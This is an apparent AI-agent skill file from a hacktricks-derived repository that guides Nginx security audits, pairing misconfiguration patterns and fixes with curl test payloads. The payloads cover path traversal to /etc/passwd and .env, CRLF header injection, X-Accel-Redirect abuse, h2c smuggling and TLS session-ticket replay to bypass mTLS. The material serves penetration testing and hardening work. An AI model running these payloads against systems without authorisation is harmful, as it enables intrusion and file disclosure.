Hacktricks-skills nginx-pentest

Audit and test Nginx servers for common misconfigurations and vulnerabilities. Use this skill whenever you need to assess Nginx security, check for LFI vulnerabilities, test for HTTP request splitting, analyze proxy configurations, or identify dangerous directives. Trigger this skill for any Nginx security assessment, configuration review, or penetration testing task involving Nginx web servers.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/pentesting-web/nginx/SKILL.MD
source content

Nginx Pentesting Skill

A comprehensive guide for auditing and testing Nginx servers for security vulnerabilities and misconfigurations.

Quick Start

When testing an Nginx server, follow this workflow:

  1. Reconnaissance - Identify Nginx version, modules, and configuration exposure
  2. Configuration Analysis - Check for dangerous directives and misconfigurations
  3. Vulnerability Testing - Test for specific vulnerabilities with payloads
  4. Remediation - Provide fixes for identified issues

Reconnaissance

Identify Nginx Version and Modules

# Check version from response headers
curl -I https://target.com | grep -i server

# Check compiled modules (if you have access)
nginx -V 2>&1 | grep -i http_v3

# Check for HTTP/3 support
rg -n "listen .*quic" /etc/nginx/

Check for Configuration Exposure

# Try to access nginx.conf directly
curl https://target.com/nginx.conf
curl https://target.com/etc/nginx/nginx.conf

# Check for backup files
curl https://target.com/nginx.conf.bak
curl https://target.com/nginx.conf.old
curl https://target.com/nginx.conf~

Common Vulnerabilities

1. Missing Root Location

What to check: When only specific locations are defined without a root

location /
, the global root directive applies to all requests.

Vulnerable pattern:

server {
    root /etc/nginx;
    location /hello.txt {
        try_files $uri $uri/ =404;
    }
    # No location / defined - root applies globally!
}

Test:

# Try accessing files in the root directory
curl https://target.com/nginx.conf
curl https://target.com/passwd
curl https://target.com/../../../etc/passwd

Fix:

server {
    root /var/www/html;  # Use a safe directory
    location / {
        # Explicitly define root behavior
        try_files $uri $uri/ =404;
    }
}

2. Alias LFI Misconfiguration

What to check: The

alias
directive without trailing slash can enable path traversal.

Vulnerable pattern:

location /imgs {
    alias /path/images/;  # Missing trailing slash on location
}

Test:

# Path traversal attempts
curl https://target.com/imgs../flag.txt
curl https://target.com/imgs/../../../etc/passwd
curl https://target.com/imgs..%2f..%2fetc%2fpasswd

# Check response codes
alias../ => 403 (blocked)
alias.../ => 404 (not found)
alias../../ => 403 (blocked)

Fix:

location /imgs/ {
    alias /path/images/;  # Add trailing slash to location
}

3. Unsafe Variable Use / HTTP Request Splitting

What to check: Using

$uri
instead of
$request_uri
in redirects or proxy_pass can enable CRLF injection.

Vulnerable patterns:

# Vulnerable - uses $uri
location / {
    return 302 https://example.com$uri;
}

# Vulnerable - in proxy_pass
location ^~ /lite/api/ {
    proxy_pass http://lite-backend$uri$is_args$args;
}

# Vulnerable - regex capture
location ~ /docs/([^/])? {
    # $1 is vulnerable
}

Test:

# CRLF injection test
curl -I "https://target.com/%0d%0aX-Injected-Header:%20test"

# Check for header injection
curl -I "https://target.com/%20X"
# Any HTTP code = potentially vulnerable

curl -I "https://target.com/%20H"
# 400 Bad Request = vulnerable (H is not a valid method)

# More aggressive tests
curl -I "https://target.com/%20HTTP/1.1%0D%0AXXXX:%20x"
curl -I "https://target.com/%20HTTP/1.1%0D%0AHost:%20x"

Fix:

# Use $request_uri instead of $uri
location / {
    return 302 https://example.com$request_uri;
}

# Or use safe regex
location ~ /docs/([^/\s])? {
    # $1 is now safe
}

4. try_files with $uri$args LFI

What to check: Using

$uri$args
in try_files can enable path traversal.

Vulnerable pattern:

location / {
    try_files $uri$args $uri$args/ /index.html;
}

Test:

# Path traversal via query string
curl "https://target.com/?../../../../../../../../etc/passwd"
curl "https://target.com/?%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

Fix:

location / {
    try_files $uri $uri/ /index.html;
    # Don't use $args in try_files
}

5. Unsafe Path Restriction Bypass

What to check: Location blocks with

deny all
can sometimes be bypassed.

Vulnerable pattern:

location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}

Test:

# Try various bypasses
curl https://target.com/admin%00
curl https://target.com/admin/
curl https://target.com/admin..%2f
curl https://target.com/admin%20

6. Raw Backend Response Reading

What to check: Invalid HTTP requests bypass proxy_intercept_errors.

Vulnerable pattern:

http {
    error_page 500 /html/error.html;
    proxy_intercept_errors on;
    proxy_hide_header Secret-Header;
}

Test:

# Send malformed request to bypass interception
curl -X GET --path-as-is "https://target.com/invalid\x00request"

# Check for exposed headers
curl -I "https://target.com/" | grep -i secret

7. merge_slashes Misconfiguration

What to check: When

merge_slashes off
, multiple slashes are preserved, potentially bypassing WAFs.

Test:

# Test with double slashes
curl https://target.com//admin
curl https://target.com///etc/passwd
curl https://target.com/admin//config

8. Malicious Response Headers (X-Accel-*)

What to check: Backend can send X-Accel-Redirect headers to force internal redirects.

Vulnerable pattern:

server {
    root /;  # Dangerous root
    location /api/ {
        proxy_pass http://backend;
    }
}

Test:

# Try to trigger X-Accel-Redirect
curl -H "X-Accel-Redirect: /.env" https://target.com/api/test
curl -H "X-Accel-Redirect: /etc/passwd" https://target.com/api/test

Fix:

# Use a safe root directory
server {
    root /var/www/html;
}

9. Map Directive Without Default

What to check: Map directives without default values can bypass authorization.

Vulnerable pattern:

map $uri $mappocallow {
    /map-poc/private 0;
    /map-poc/secret 0;
    /map-poc/public 1;
    # No default!
}

server {
    location /map-poc {
        if ($mappocallow = 0) {return 403;}
        return 200 "Hello";
    }
}

Test:

# Access undefined URI
curl https://target.com/map-poc/undefined
curl https://target.com/map-poc/anything

Fix:

map $uri $mappocallow {
    default 0;  # Add default
    /map-poc/private 0;
    /map-poc/secret 0;
    /map-poc/public 1;
}

10. DNS Spoofing

What to check: External DNS resolvers can be spoofed.

Vulnerable pattern:

resolver 8.8.8.8;  # External DNS

Fix:

resolver 127.0.0.1;  # Use localhost

11. h2c Smuggling via Upgrade Headers

What to check: Passing Upgrade and Connection headers enables h2c smuggling.

Vulnerable pattern:

location / {
    proxy_pass http://backend:9999;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection $http_connection;
}

Test:

# Attempt h2c upgrade
curl -H "Connection: Upgrade, HTTP2-Settings" \
     -H "Upgrade: h2c" \
     https://target.com/

# Try to access protected endpoints
curl -H "Connection: Upgrade, HTTP2-Settings" \
     -H "Upgrade: h2c" \
     https://target.com/flag

12. HTTP/3 QUIC Vulnerabilities (2024)

What to check: CVE-2024-31079, CVE-2024-32760, CVE-2024-34161, CVE-2024-35200

Test:

# Check for HTTP/3 support
curl -I https://target.com | grep -i "Alt-Svc: h3"

# Check nginx version
nginx -V 2>&1 | grep -i http_v3

# Check for QUIC socket
rg -n "listen .*quic" /etc/nginx/

# Affected versions: 1.25.0-1.25.5, 1.26.0
# Fixed in: 1.27.0, 1.26.1

13. TLS Session Resumption Bypass (CVE-2025-23419)

What to check: TLS 1.3 session tickets can bypass mTLS.

Test:

# 1. Create session on public vhost
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay on mTLS vhost
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

# If connection succeeds without cert, vulnerable

What to audit:

  • Mixed server_name blocks sharing ssl_session_cache
  • Admin/API blocks expecting mTLS with shared session settings

14. HTTP/2 Rapid Reset (CVE-2023-44487)

What to check: High keepalive_requests or http2_max_concurrent_streams values.

Test:

# Check configuration
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

# Default safe values:
# http2_max_concurrent_streams: 128
# keepalive_requests: 1000

Static Analysis Tools

Gixy-Next

# Install and run
pip install gixy-ng
gixy-ng /etc/nginx/nginx.conf

Nginxpwner

# Clone and run
git clone https://github.com/stark0de/nginxpwner
cd nginxpwner
python nginxpwner.py -u https://target.com

Remediation Checklist

After identifying vulnerabilities, apply these fixes:

  • Set root to safe directory (not /etc/nginx)
  • Add trailing slashes to alias locations
  • Replace $uri with $request_uri in redirects
  • Remove $args from try_files directives
  • Add default values to map directives
  • Use localhost for DNS resolver
  • Remove Upgrade/Connection header passthrough
  • Update Nginx to latest version
  • Isolate TLS session caches per vhost
  • Keep http2_max_concurrent_streams at default (128)
  • Run gixy-ng for automated analysis

References